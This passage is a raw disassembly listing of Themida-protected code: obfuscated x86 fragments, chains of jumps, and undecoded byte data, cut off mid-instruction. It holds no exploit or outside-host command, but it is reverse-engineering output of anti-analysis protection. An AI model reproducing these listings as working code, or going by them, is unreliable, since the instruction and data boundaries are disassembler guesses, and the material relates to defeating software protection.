66FFFFD2h, 0E9240C8Bh, 0FFFFFB0Ch, 240C8B66h, 4BE5E9h db 0 ; --------------------------------------------------------------------------- loc_549D05: ; CODE XREF: Themida_:00544A08j add ebp, 2 xor ebp, [esp] jmp loc_54A184 ; --------------------------------------------------------------------------- loc_549D10: ; CODE XREF: Themida_:0054791Dj sub ebp, eax jmp loc_54E07F ; --------------------------------------------------------------------------- loc_549D17: ; CODE XREF: Themida_:00549D37j pop ebp jmp loc_54BF8A ; --------------------------------------------------------------------------- loc_549D1D: ; CODE XREF: Themida_:00549D9Ej push ebp push edi jmp loc_54C31A ; --------------------------------------------------------------------------- loc_549D24: ; CODE XREF: Themida_:00549453j add ebp, 4BF01D56h pop edx pop esi push edx mov edx, 84EF7D94h add ebp, edx pop edx mov ebx, ebp jmp loc_549D17 ; --------------------------------------------------------------------------- dd 0E9D13459h, 0FFFFFA72h, 4C381h, 1C870000h, 0DDE95C24h dd 0FFFFFFCBh, 535B2434h, 0BE56E389h, 4, 0FFC9EEE9h, 0B25266FFh dd 31CFE95Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_549D6E: ; CODE XREF: Themida_:0054EC5Aj add edi, 5D1D3F30h jmp loc_54C663 ; --------------------------------------------------------------------------- db 66h, 0Fh, 0B3h dd 0E99C2404h, 6270h, 5C241C87h, 81243C89h, 3AD2434h, 0E1E934A2h db 42h, 2 dup(0) ; --------------------------------------------------------------------------- loc_549D97: ; CODE XREF: Themida_:0054C2CDj add esp, 4 push edx jmp loc_549D1D ; --------------------------------------------------------------------------- db 0E9h dd 0FFFFA7E2h, 0FC62F281h, 0D731B1FAh, 2DE7E95Ah, 0D8000000h dd 0E963B151h, 6089h, 575BDA09h, 8A33D1BFh, 2CEF8156h dd 0C17E7E4Ch, 0F78104E7h, 85666BE2h, 315FFA01h, 0F5815AD5h dd 4A6658Dh, 2C8BEF01h, 4C48124h, 81000000h, 2C7h, 243C3300h dd 33243C31h, 665C243Ch, 9C2424D3h, 0FFA781E9h, 885250FFh dd 5AF488DEh, 8858E588h, 34FF286Fh, 240C8B24h, 0E904C483h dd 0FFFFD6CCh, 0FFA761E9h, 240483FFh, 243C8B04h, 81E28952h dd 4C2h, 4C28100h, 33000000h, 14312414h, 24143324h, 4BE565Ch dd 1000000h, 0C7815EF7h, 2, 4F42E9h db 0 ; --------------------------------------------------------------------------- loc_549E5D: ; CODE XREF: Themida_:00547BC6j mov esi, edi mov edi, [esp] jmp loc_54D101 ; --------------------------------------------------------------------------- db 89h dd 6DE9240Ch, 0FFFFFFA8h, 148B2434h, 4C48124h, 81000000h dd 4ECh, 24348900h, 0C681E689h, 4, 8704C683h, 8B5C2434h dd 0C483240Ch, 6A636804h, 9DE90000h, 1FFFFE2h, 815A58C3h dd 2EBh, 241C8700h, 6624248Bh, 66241489h, 0CBE99C50h db 0A6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549EBF: ; CODE XREF: Themida_:0054B714j add esp, 4 mov ebp, [esp] push 691Dh mov [esp], edi push esp jmp loc_54E2E7 ; --------------------------------------------------------------------------- db 87h dd 248B2404h, 4EC8324h, 83241C89h, 148904ECh, 0C9E95224h dd 66FFFFF1h, 5024048Bh, 2434FF54h, 396EE958h, 0F2810000h dd 4A9D5B6Dh, 1487E9h db 0 ; --------------------------------------------------------------------------- loc_549F05: ; CODE XREF: Themida_:00545A8Fj xchg eax, [esp] jmp loc_54A820 ; --------------------------------------------------------------------------- db 68h, 4, 0 dd 0E95E0000h, 0FFFFDB9Dh, 0CCE68h, 24348900h, 0A76641BEh dd 0D2AFE965h, 1C8BFFFFh, 4C48124h, 59000000h, 0EC815057h dd 4, 0FFFB14E9h db 0FFh ; --------------------------------------------------------------------------- loc_549F41: ; CODE XREF: Themida_:005447F2j pop ebx or dh, 78h push ebx push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], edx mov dh, 8 mov bh, 81h sub bh, dh pop edx or bh, 92h jmp loc_548CBD ; --------------------------------------------------------------------------- db 5Bh dd 0A618E959h, 0F788FFFFh, 0E92434FFh, 0FFFFD8E4h, 0E966B652h dd 4460h, 148BD029h, 5A545224h, 7FE9h, 68555E00h, 4, 4FB8E9h dd 24148B00h, 4C481h, 0E9500000h, 0FFFFD913h, 5159CB31h dd 0FD6422B9h, 16EA8122h, 295F1E16h, 16C281CAh, 595F1E16h dd 0FFD52DE9h, 0A4C681FFh, 8171B814h, 6B5157C6h, 81EE0149h dd 6B5157EEh, 0A4EE8149h, 8171B814h, 5A68BEC6h, 34875D4Ah dd 8B665C24h, 8DE92404h, 0FFFFFC5h, 48DC0B6h, 293AE987h dd 0C8B0000h, 4C48324h, 0E952D2F7h, 40h, 4C281h, 15E90000h dd 5800005Dh, 4F2C0D48h, 42927841h, 240E9h, 97C18100h dd 8B7BC258h, 89572404h, 4C781E7h, 81000000h, 4C7h, 243C8700h dd 4EC815Ch, 0E9000000h, 0FFFFE4B9h, 5A2404FFh, 0FFBE88E9h db 0FFh ; --------------------------------------------------------------------------- loc_54A059: ; CODE XREF: Themida_:0054DC70j add esp, 4 jmp loc_5452EA ; --------------------------------------------------------------------------- dd 0C1E99E05h, 58C229FFh, 174CC281h, 0EB8178A6h, 16963F35h dd 0C381D301h, 16963F35h, 8F665Ah, 0FFA501E9h, 8BEB29FFh dd 0C483242Ch, 0DAD8E904h, 59B7FFFFh, 0D7F6EFD0h, 0C0D6F780h dd 0E78007EFh, 50F78008h, 0D319E952h, 0C981FFFFh, 75AB351Bh dd 2C8FC181h, 0C8296E35h, 4D8CE9h db 0 ; --------------------------------------------------------------------------- loc_54A0C1: ; CODE XREF: Themida_:0054D056j add esp, 4 add esp, 4 shr ecx, 2 sub esp, 4 jmp loc_54F266 ; --------------------------------------------------------------------------- db 97h, 47h, 81h dd 0FB7EE9C7h, 79EB8101h, 5613F353h, 0D87043BEh, 5EF3015Fh dd 31ACE9h, 0B3F28100h, 1BE0A92h, 24ECE9D7h, 148B0000h dd 4C48324h, 0F281D2F7h, 87CCBE43h, 34FFD389h, 0C4815A24h dd 4, 815BDD89h, 0DF5D8CEEh, 0C941E906h, 0C483FFFFh, 13685D04h dd 89000036h, 14F7242Ch, 0EC815D24h, 4, 55240489h, 2DE3E958h dd 665C0000h, 0E99CC83Bh, 0FFFFA43Ah ; --------------------------------------------------------------------------- loc_54A150: ; CODE XREF: Themida_:0054F3B8j mov esp, [esp] push esi jmp loc_54F149 ; --------------------------------------------------------------------------- db 29h, 0E8h, 2Dh dd 15F91794h, 0E9242C8Bh, 0FFFFC3A5h, 9D1C77FFh, 0D3665966h dd 0E99C2414h, 0FFFFEBE6h, 0A3C3815Dh, 0E977250Fh, 55F6h ; --------------------------------------------------------------------------- loc_54A184: ; CODE XREF: Themida_:00549D0Bj xor [esp], ebp xor ebp, [esp] mov esp, [esp] xor [esp], al pushf jmp loc_54458A ; --------------------------------------------------------------------------- dw 0C801h dd 0EB815959h, 1F0F5023h, 1882EB81h, 70E9537Dh db 44h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54A1AB: ; CODE XREF: Themida_:00548FB3j add ebx, 66020637h jmp loc_54D795 ; --------------------------------------------------------------------------- dw 0B850h dd 376D0446h, 5658C521h, 20B8BD55h, 0E5C11893h, 90F58103h dd 810D9668h, 0F092B0C5h, 8BEE8936h, 0C483242Ch, 14C68104h dd 296B5248h, 0A6E951EEh, 5F00003Eh, 5C24048Fh, 1BDBE9h dd 62EB8100h, 8164FA4Ah, 7D205AEBh, 2EE95D2Fh db 0A4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A207: ; CODE XREF: Themida_:005490F5j pop ebp jmp loc_55062A ; --------------------------------------------------------------------------- loc_54A20D: ; CODE XREF: Themida_:005469DCj pop esi push ecx pop edi pop ecx xor [esp+4], edi pop edi pop eax jmp loc_54CB43 ; --------------------------------------------------------------------------- loc_54A21C: ; CODE XREF: Themida_:0054B7A7j sub [esp+8], ebx pop ebx push dword ptr [esp] pop edx add esp, 4 pop dword ptr [edi+24h] loc_54A22E: ; CODE XREF: Themida_:0054F570j push 7A99h jmp loc_54FF2D ; --------------------------------------------------------------------------- loc_54A238: ; CODE XREF: Themida_:0054671Ej sub eax, 5E9DE9FEh add ecx, eax jmp loc_544C79 ; --------------------------------------------------------------------------- dd 8951C80Fh, 4C181E1h, 83000000h, 0C8704E9h, 0BA78E924h dd 0CA31FFFFh, 0FFB535E9h db 0FFh ; --------------------------------------------------------------------------- loc_54A261: ; CODE XREF: Themida_:0054F4AEj sub esi, ebp pop ebp jmp loc_54D834 ; --------------------------------------------------------------------------- db 92h, 35h, 0BFh dd 8944B775h, 0EC8158C3h, 4, 0E9243C89h, 4871h, 6158ABFh dd 5FFB015Bh, 0EB81C329h, 5B06158Ah, 18826856h, 0A7E9537Dh dd 31FFFFC1h, 0E99C2404h, 4CD4h, 0C0B60F58h, 518734FFh dd 0FFE09BE9h, 240CFEFFh, 0A2D0E99Ch, 3487FFFFh, 0C3315C24h dd 0FE55B151h, 0F65166C1h, 0BBE92414h db 4Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54A2CF: ; CODE XREF: Themida_:00547EBBj add esp, 4 push 4EE5h mov [esp], ebx jmp loc_54BDF2 ; --------------------------------------------------------------------------- dw 562Ch dd 0FCE9C828h, 0B9FFFFC9h, 40EE6942h, 0C8BC801h, 4C48124h dd 29000000h, 69422DD8h, 685340EEh, 5F2B4335h, 22A22D5Bh dd 35E917A5h, 0FFFFFFB2h, 0C8B2434h, 4C48324h, 7BE06852h dd 24890000h, 24048324h, 24148B04h, 4C481h, 0BB530000h dd 4, 48BEA81h, 0DA0178AAh, 48BC281h, 0B8E978AAh, 58FFFFEBh dd 0FFCBCBE9h, 50E95AFFh, 1000039h, 0CAE958C6h db 0F2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A35F: ; CODE XREF: Themida_:0054E2B2j push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp push 49DAh jmp loc_54F322 ; --------------------------------------------------------------------------- db 29h dd 240C8BC8h, 0F704C483h, 0F169E9D8h, 48BFFFFh, 4C48124h dd 35000000h, 3AC609B5h, 2994E9h, 0D831AD00h, 0FFDC28E9h dd 40478FFFh, 5724048Bh, 0C781E789h, 4, 4BD55h, 60E90000h dd 89FFFFB9h, 4C581E5h, 53000000h, 6EFA6850h, 50E95DFDh db 0FCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A3CB: ; CODE XREF: Themida_:0055048Ej add esp, 4 xchg ecx, [esp] mov esp, [esp] jmp loc_54D065 ; --------------------------------------------------------------------------- db 81h, 0EFh, 2 dd 817A8D41h, 0C70605EFh, 0FBEF8111h, 0E91FEB18h, 0FFFFDC74h dd 8244481h, 5F272E6Eh, 8244429h, 8246C81h, 5F272E6Eh dd 0A17E9h db 0 ; --------------------------------------------------------------------------- loc_54A409: ; CODE XREF: Themida_:0054CCB2j pop esi mov ecx, [esp] add esp, 4 push edi mov edi, 0FB6C1Dh and esi, edi pop edi neg esi shl esi, 7 xchg ebx, esi jmp loc_547799 ; --------------------------------------------------------------------------- dd 4C781h, 0C7830000h, 243C8704h, 0B850535Ch, 23655B82h dd 4B58C389h, 0F706EBC1h, 0A8C381DBh, 0E9674C29h, 2061h dd 4C381h, 0EB830000h, 74FF5304h, 0E95B0424h, 1DDCh ; --------------------------------------------------------------------------- loc_54A464: ; CODE XREF: Themida_:00545E0Bj push esi push esp pop esi add esi, 4 jmp loc_54F681 ; --------------------------------------------------------------------------- dw 77FFh dd 59669D1Ch, 9C241CD2h, 0FFA109E9h, 0EC8156FFh, 4, 0E9242C89h dd 0FFFFD9C3h ; --------------------------------------------------------------------------- loc_54A490: ; CODE XREF: Themida_:0054B90Ej mov esp, [esp] add ebp, 0E5FFFC00h mov [edi+20h], ebp pop ebp loc_54A49D: ; CODE XREF: Themida_:0054564Cj ; Themida_:0054DA86j push dword ptr [esp] mov ebx, [esp] add esp, 4 jmp loc_54D4FF ; --------------------------------------------------------------------------- dw 8956h dd 4C681E6h, 81000000h, 4C6h, 24348700h, 0B680E95Ch, 0E789FFFFh dd 4C781h, 0DFE90000h, 8100004Dh, 9EFABBF5h, 1DC0051Eh dd 0E8295D1Bh, 1B1DC02Dh, 42AAE95Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54A4EA: ; CODE XREF: Themida_:0054629Cj mov [esp], edi push 6F72h jmp loc_54DB7D ; --------------------------------------------------------------------------- db 31h dd 4332404h, 0EB815C24h, 501678EEh, 0B60F66h, 0FFCD18E9h dd 0FEE945FFh db 0A2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A513: ; CODE XREF: Themida_:0054F591j sub [esp], ecx pop ecx shr ecx, 8 push edx mov edx, 72C56E06h or ecx, edx pop edx and ecx, 28A0055Ch jmp loc_54F5EE ; --------------------------------------------------------------------------- dw 895Eh dd 240C8BCDh, 4C481h, 0B9510000h, 67958BFh, 9978E82Dh dd 5C80164h, 649978E8h, 0FFDE79E9h, 4C828FFh, 240C8B27h dd 57E9E9h, 241C8B00h, 57E68956h, 5B7DC4BFh, 8E7C14Dh dd 0C404F781h, 0C6815B7Dh, 2A5B29CFh, 0EE81FE01h, 2A5B29CFh dd 0E9243C8Bh, 1747h, 6E943B2h, 5AFFFFE7h, 4C281h, 57550000h dd 0FFE240E9h, 0E9DDF7FFh, 0FFFFC868h, 62D3CB81h, 0D3F77F97h dd 2421C381h, 0E3C101B4h, 0B5C38108h, 31257FEFh, 0C6015BD8h dd 8324048Bh, 0EE8104C4h, 4, 8904EC83h, 74FF2434h, 8F5E0424h dd 895C2404h, 9C502414h, 0FF9FA5E9h, 0E28952FFh, 4C281h dd 0C2810000h, 4, 5C241487h, 0FFA7FCE9h db 0FFh ; --------------------------------------------------------------------------- loc_54A5FD: ; CODE XREF: Themida_:0054AE85j mov [esp], ebp mov ebp, ecx mov ebx, ebp mov ebp, [esp] add esp, 4 jmp loc_547A30 ; --------------------------------------------------------------------------- dw 8953h dd 4C381E3h, 83000000h, 1C3304C3h, 241C3124h, 5C241C33h dd 904C483h, 348B1C77h, 4C48124h, 0E9000000h, 0FFFF9F4Eh dd 8BCA315Ch, 0C481240Ch, 4, 148BD031h, 0E2895224h, 4C281h dd 0C2810000h, 4, 5C241487h, 568h, 240C8900h, 6A1EF7B9h dd 0D3C4E94Fh, 8B54FFFFh, 0C481243Ch, 4, 5747BB53h, 0B850263Eh dd 69C3307Eh, 0E2315A2Dh, 5F74253Dh, 0CB056D92h, 29F77FD0h dd 525058C3h, 0FFDF59E9h, 70F581FFh, 5165ED56h, 0ED6B4AB9h dd 3656E915h, 0DFB60000h, 3002E6C0h, 0E9F730FEh, 2F85h dd 0E9E78957h, 5280h, 0E9243C89h, 0FFFFF550h, 0D3C681ADh dd 0E9565458h, 0FFFFD53Fh, 0FF9EA9E9h, 243489FFh, 0A155D2BEh dd 0D8EE8144h, 10F1D04h, 0E9015EF1h, 50FAE981h, 0C3E93584h db 0CFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A6FF: ; CODE XREF: Themida_:005467D8j pop ecx add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp jmp loc_548EC8 ; --------------------------------------------------------------------------- dw 0C8Bh dd 4C48124h, 83000000h, 0CBE904E8h, 0BF000005h, 7AAA6E2Eh dd 0E95FFE21h, 46DFh, 34D668h, 242C8900h, 42474FFh, 0E9242C8Bh dd 4618h, 9E40E95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A74A: ; CODE XREF: Themida_:0054F162j push ecx mov ecx, 0D263996Ah jmp loc_54809C ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd offset dword_51B448+7A1h dd 66AD6600h, 66506652h, 667EF268h, 8124048Bh, 2C4h, 0C2896600h dd 24048B66h, 6602C483h, 1F51E950h, 8B660000h, 0EC832404h dd 241C8904h, 449268h, 24248900h, 4240483h, 81241C8Bh dd 4C4h, 0E6BF5700h, 0E901FB7Eh, 4E69h ; --------------------------------------------------------------------------- loc_54A7AC: ; CODE XREF: Themida_:0054F442j mov dh, 0Dh xor al, dh pop dx sub al, 5Eh inc al jmp loc_54C396 ; --------------------------------------------------------------------------- loc_54A7BB: ; CODE XREF: Themida_:0054EB81j mov ebp, 4 add esi, ebp pop ebp sub esi, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp jmp loc_5457A7 ; --------------------------------------------------------------------------- dd 6E8F68h, 0A1D3E900h, 0E380FFFFh, 36C1E9E2h, 34FF0000h dd 54565824h, 0FFB598E9h, 0F28166FFh, 0EC8113B8h, 4, 0FFBE9BE9h db 0FFh ; --------------------------------------------------------------------------- loc_54A805: ; CODE XREF: Themida_:00547480j mov edx, 428907C3h not edx jmp loc_549279 ; --------------------------------------------------------------------------- db 5Ch, 58h, 0E9h dd 0FFFF9D72h, 0E9E18951h, 753h ; --------------------------------------------------------------------------- loc_54A820: ; CODE XREF: Themida_:00549F08j mov esp, [esp] mov [esp], edi jmp loc_544A6A ; --------------------------------------------------------------------------- db 5Fh dd 8D07C381h, 0ED81F5C6h, 50A73259h, 0C581DD01h, 50A73259h dd 242C875Bh, 890E95Ch, 0E9510000h, 48B7h, 53555E54h, 0C324F8BBh dd 24FCBD03h, 0DD3103C3h, 81241C8Bh, 4C4h, 34EE8100h, 168D921h dd 0E537E9EEh, 3605FFFFh, 2901743Eh, 3EE957D8h db 44h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54A883: ; CODE XREF: Themida_:00547A31j and eax, ebx jmp loc_54D165 ; --------------------------------------------------------------------------- dw 0C968h dd 0E9000029h, 0FFFFF170h, 2434FF54h, 0E389535Dh, 4C381h dd 0C3810000h, 4, 0E9241C87h, 0FFFFE7D1h ; --------------------------------------------------------------------------- loc_54A8B0: ; CODE XREF: Themida_:0054F504j mov ebp, [esp] add esp, 4 add esp, 4 push 2A6Fh mov [esp], edi push 77D7h jmp loc_54FF0F ; --------------------------------------------------------------------------- dw 0E950h dd 0FFFFC3B9h, 405h, 0CF685100h, 89000033h, 0EAE9243Ch dd 52FFFFC4h, 30ED2BAh, 5AD00145h, 8856CC2Dh, 55F0294Ah dd 3B2E9h, 241C8900h, 4BBh, 5BD90100h, 8B240C87h, 0F6682424h dd 89000064h, 8B54243Ch, 0C483243Ch, 4C78104h, 56000000h dd 0FFF5E4E9h, 0C0B60FFFh, 688734FFh, 2252h, 0E9241C89h dd 0FFFFC53Ch, 24DFB850h, 61355262h, 113F817h, 98E958C3h dd 89FFFFB8h, 4B9240Ch, 1000000h, 0B6BBE9CBh, 4429FFFFh dd 48B0424h, 3085E924h, 8B660000h, 0E951240Ch, 0FFFFA8D1h ; --------------------------------------------------------------------------- loc_54A974: ; CODE XREF: Themida_:00548E39j pop edi jmp loc_54B306 ; --------------------------------------------------------------------------- dw 0C483h dd 4C38104h, 0E9000000h, 0FFFFE78Eh, 652C0904h, 5166D800h dd 1D67E9h, 0F7DBF700h, 2EBC1D3h, 0B025C381h, 0D9313324h dd 67C1815Bh, 29B52763h, 505E59CBh, 0F5023B8h, 58C3011Fh dd 24148B66h, 81E38953h, 4C3h, 4EB8100h, 87000000h, 0E95C241Ch dd 0FFFFBE72h, 5F8015Bh, 7B397E71h, 4EC835Fh, 3F9AE9h db 0 ; --------------------------------------------------------------------------- loc_54A9E5: ; CODE XREF: Themida_:0054986Ej mov ebx, 1Ch sub esp, 4 mov [esp], edx mov edx, 3AE65082h shl edx, 3 shl edx, 2 dec edx add edx, 139B4271h add ebx, 442810C0h add ebx, edx jmp loc_54CE9F ; --------------------------------------------------------------------------- dw 3489h dd 35BD5524h, 0E9673111h, 9DEh, 0B3E9D929h db 0B1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54AA27: ; CODE XREF: Themida_:00546671j add ecx, 4 add ecx, 4 push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp jmp loc_545821 ; --------------------------------------------------------------------------- loc_54AA3F: ; CODE XREF: Themida_:0054AE66j add ebp, 4 xchg ebp, [esp] pop esp or edx, eax shl edx, 1 push dword ptr [edi+24h] jmp loc_54F352 ; --------------------------------------------------------------------------- dw 1C31h dd 0D045E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54AA5A: ; CODE XREF: Themida_:00548CCDj pop edi sub ebp, ecx add ebp, 356C0647h jmp loc_5450A4 ; --------------------------------------------------------------------------- dd 16BE68h, 240C8900h, 0F686B353h, 0CCF380D3h, 0FFC796E9h dd 7F6835FFh, 0C2890FFEh, 582434FFh, 1DAAE9h, 8CE95900h dd 53000049h, 0BE56E389h, 4, 4D5DE9h, 2C08300h, 2E13E9h db 0 ; --------------------------------------------------------------------------- loc_54AAA9: ; CODE XREF: Themida_:0054CE13j sub eax, 0A4842F7h add eax, esi add eax, 0A4842F7h jmp loc_54DA7A ; --------------------------------------------------------------------------- dw 2C8Bh dd 4C48324h, 8104E3C1h, 4203B7EBh, 86EB8129h, 0E9603508h dd 5AB3h, 148BD089h, 4C48124h, 21000000h, 0E9581C47h, 3913h dd 32F381h, 0EB813B1Ah, 17BC22D5h, 567FE956h, 51500000h dd 2417E9h, 2BC28100h, 1D744F6h, 0DDF75AD5h, 20ED814Dh dd 8139C548h, 0B1595CF5h, 94BA526Eh, 81110A40h, 0EA7B4FCAh dd 0C2E28129h, 8161906Fh, 7A02BFEAh, 5AD5316Eh, 5A5DE829h dd 0ADCCE955h, 0EC83FFFFh, 14896602h, 0E922B224h, 0FFFFAB27h dd 0FF2434FFh, 0C8B2434h, 0E7895724h, 254BE9h db 0 ; --------------------------------------------------------------------------- loc_54AB5D: ; CODE XREF: Themida_:0054C7BFj add edi, ebp pop ebp push 6531h mov [esp], edi push dword ptr [esp+4] mov edi, [esp] jmp loc_54B212 ; --------------------------------------------------------------------------- dd 0CDFE5AB5h, 79ED80h, 805966EFh, 83E9FBCFh, 81FFFFDFh dd 0B917CDC3h, 5BDF21F3h, 750E781h, 0D4E90C3Ch, 5400001Ch dd 4BF5758h, 5000000h, 11491BE8h, 0BB53F801h, 474B1B83h dd 0F704EBC1h, 17B951DBh, 0F715DF0Bh, 1E0CE9D1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54ABC2: ; CODE XREF: Themida_:00550559j mov ebx, esp add ebx, 4 push edx jmp loc_546EF0 ; --------------------------------------------------------------------------- dd 0E900E9C1h, 3B2Dh, 6624248Bh, 9C243CD3h, 0FF99A5E9h db 0FFh ; --------------------------------------------------------------------------- loc_54ABE5: ; CODE XREF: Themida_:00546198j add eax, edi mov ecx, [eax] push dword ptr [esp] pop eax add esp, 4 sub esp, 4 mov [esp], edi push ebp mov ebp, 24222330h jmp loc_546D9A ; --------------------------------------------------------------------------- db 0C1h dd 0E2C105E2h, 0CAE95102h, 81FFFFE9h, 4C4h, 0C8BE0F00h dd 793F68h, 243C8900h, 6856E789h, 7A3B092Bh, 6855515Eh dd 73E340DEh, 83242C8Bh, 0DDF704C4h, 74EDED81h, 0E98928C8h dd 0EDE9815Dh, 5661B83Dh, 0A82ABABEh, 5EF13120h, 0B22BD55h dd 0C5814C48h, 0DCB243Ch, 0FFE9B2E9h, 5BDF89FFh, 0FFE518E9h db 0FFh ; --------------------------------------------------------------------------- loc_54AC6D: ; CODE XREF: Themida_:00547C9Dj push esp push dword ptr [esp] pop edx jmp loc_547591 ; --------------------------------------------------------------------------- db 50h dd 0D8F668B0h, 0C8FEC8FEh, 32E9AB04h db 0C1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54AC87: ; CODE XREF: Themida_:0054B30Fj mov [esp], edi pop ebx mov edi, [esp] jmp loc_547A6D ; --------------------------------------------------------------------------- aXsu db 'XИЦ',27h,0 dd 24148B00h, 4C481h, 6EE90000h, 8B000043h, 0FFE92404h dd 0BDFFFFB0h, 10224060h, 0FFE1C8E9h db 0FFh ; --------------------------------------------------------------------------- loc_54ACB9: ; CODE XREF: Themida_:0054828Cj jmp loc_54458A ; --------------------------------------------------------------------------- dw 1489h dd 57E28924h, 4BFh, 0E9FA0100h, 30CEh, 242C895Ch, 4EC81h dd 33E90000h, 0D1FFFFFDh, 0D7ADE9E3h, 4ACFFFFh, 4A14E92Ah dd 4870000h, 0A166E924h, 0EBC1FFFFh, 98C38107h, 8133F145h dd 0B95646C3h, 0EB8109h, 13DCE42h, 0C335BD9h, 0E51CE924h dd 0D131FFFFh, 8324148Bh, 0CB2104C4h, 81240C8Bh, 4C4h dd 2E3C100h, 0FFE4C381h, 0D901FFEEh, 0BB64E95Bh, 8B66FFFFh dd 4AE92404h, 59000014h, 0FFEA8AE9h, 0E8305BFFh, 81240C8Bh dd 4C4h, 0FC33000h, 34FFC0B6h, 1D5B6887h, 2C890000h, 0B07FE924h dd 0FF51FFFFh, 59042474h, 5C24048Fh, 81242489h, 4ECh, 243C8900h dd 4BFh, 247C0100h, 0FBE95F04h, 66FFFF97h, 88C78853h, 66FA88D0h dd 0C3E2805Bh, 38B753h, 0CD6CE9FAh, 0B951FFFFh, 4, 8359CB01h dd 67E904C3h, 5200002Eh, 52D6E9h, 0F7555B00h, 815D2414h dd 4C4AADC5h, 0D6E9E95Fh, 685FFFFFh, 5943h, 0BD242C89h dd 2, 875DEB01h, 0E95C241Ch, 0FFFFA4ABh, 0C381CB01h, 2F983EE6h dd 81240C8Bh, 4C4h, 4EC8100h, 89000000h, 0E956240Ch, 0FFFFCB41h dd 2EC81h, 89660000h, 0B252240Ch, 0B2E8E9F7h, 0E9ADFFFFh dd 0FFFF99EAh, 84BA5258h, 1106444h, 5A082454h, 4246C81h dd 55702663h, 2404815Dh, 20B06642h, 0FFE77DE9h, 60EA81FFh dd 5932016Fh, 0E9241433h, 0FFFFAB93h, 0C381FB29h, 595D7FC8h dd 3601E9h db 0 ; --------------------------------------------------------------------------- loc_54AE5D: ; CODE XREF: Themida_:0054FFB6j sub edx, 0F02EA080h add ebp, edx pop edx jmp loc_54AA3F ; --------------------------------------------------------------------------- loc_54AE6B: ; CODE XREF: Themida_:005484B2j mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_544EC6 ; --------------------------------------------------------------------------- loc_54AE7E: ; CODE XREF: Themida_:0054DD75j pop eax sub esp, 4 jmp loc_54A5FD ; --------------------------------------------------------------------------- dw 424Ah dd 0FF9B3DE9h, 4BB53FFh, 1000000h, 241C8BDDh, 4C481h, 0F8E90000h dd 8B00000Bh, 0C481240Ch, 4, 2D72E9h, 5BDA2100h, 1C281h dd 0D501FFD0h, 8324148Bh, 2C8704C4h, 24248B24h, 24048B66h dd 0FF994FE9h db 0FFh ; --------------------------------------------------------------------------- loc_54AED5: ; CODE XREF: Themida_:0054AFBFj push ebp mov ebp, 1F786F92h shl ebp, 4 jmp loc_54F4A8 ; --------------------------------------------------------------------------- db 87h dd 248B2404h, 4216624h, 97E99C24h db 96h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54AEF3: ; CODE XREF: Themida_:0054797Ej mov ecx, 4D893641h mov edi, 4E41AD10h sub edi, 150F12F8h jmp loc_5483F0 ; --------------------------------------------------------------------------- dd 0C78070B7h, 80F72813h, 305A13EFh, 1C8B66F8h, 2C48324h dd 0E949EB80h, 323Fh, 0C9F8E95Dh, 0D001FFFFh, 8D77E505h dd 2434FF00h, 4C4815Ah, 1000000h, 4CCC2DC8h, 0C8B66DBh dd 4C48324h, 0FFBA35E9h, 0E95059FFh, 56BCh, 42474FFh, 24048F5Eh dd 5224248Bh, 0FFB9D6E9h, 815358FFh, 2BEA2404h, 34E96625h dd 81FFFFFDh, 4C1h, 4C18300h, 0E9240C87h, 1BA7h ; --------------------------------------------------------------------------- loc_54AF84: ; CODE XREF: Themida_:0054E749j or eax, esi pop esi jmp loc_54C85F ; --------------------------------------------------------------------------- loc_54AF8C: ; CODE XREF: Themida_:0054BCF4j mov edx, eax pop eax xor edx, 3B7D2E7Bh shr edx, 5 xor edx, 64B000BFh jmp loc_54BA52 ; --------------------------------------------------------------------------- loc_54AFA3: ; CODE XREF: Themida_:0054F529j push dword ptr [edi+eax*4] sub dword ptr [esp], 6AC13F01h mov eax, [esp] add esp, 4 push esi mov esi, 1C02BEBh xor esi, 3227444Dh jmp loc_54AED5 ; --------------------------------------------------------------------------- aSs db 'SИ,=',0 align 2 dw 0C481h dd 4, 875DEE01h, 0E95C2434h, 0FFFF95AEh, 4BAh, 35E98100h dd 1046A54h, 35C181D1h, 8B046A54h, 0C4832414h, 2BD5504h dd 1000000h, 0C335DE9h, 240C3124h, 5C240C33h, 9C2424D3h dd 0FF9579E9h, 0BBE480FFh, 80BBC480h, 0E480D7ECh, 5FC48050h dd 2CE9E788h, 8BFFFFB5h, 14892424h, 37BF5724h, 57362AEFh dd 4D40E9h, 0FFE88300h, 0F740D0F7h, 1EB951D8h, 314F1D4Dh dd 0EB8159C8h, 5E51876h, 0C381C301h, 5E51876h, 5BBE5658h dd 5514C542h, 0C54259BDh, 0E9EE3114h, 43FCh, 24148B54h dd 0FFE1C9E9h db 0FFh ; --------------------------------------------------------------------------- loc_54B075: ; CODE XREF: Themida_:00545441j mov esi, 6A0E6A79h add esi, 9F7CC487h push ebx mov ebx, 74306BE2h sub ebp, ebx pop ebx add ebp, esi push edx push ecx push 1A0D1939h pop ecx neg ecx xor ecx, 91C28D25h mov edx, ecx jmp loc_545A42 ; --------------------------------------------------------------------------- dw 0FF53h dd 5B042474h, 8B24048Fh, 0BD552424h, 47383A0Eh, 0FFBC7EE9h dd 4C183FFh, 0FFCADCE9h db 0FFh ; --------------------------------------------------------------------------- loc_54B0C1: ; CODE XREF: Themida_:00547554j push esi mov esi, esp add esi, 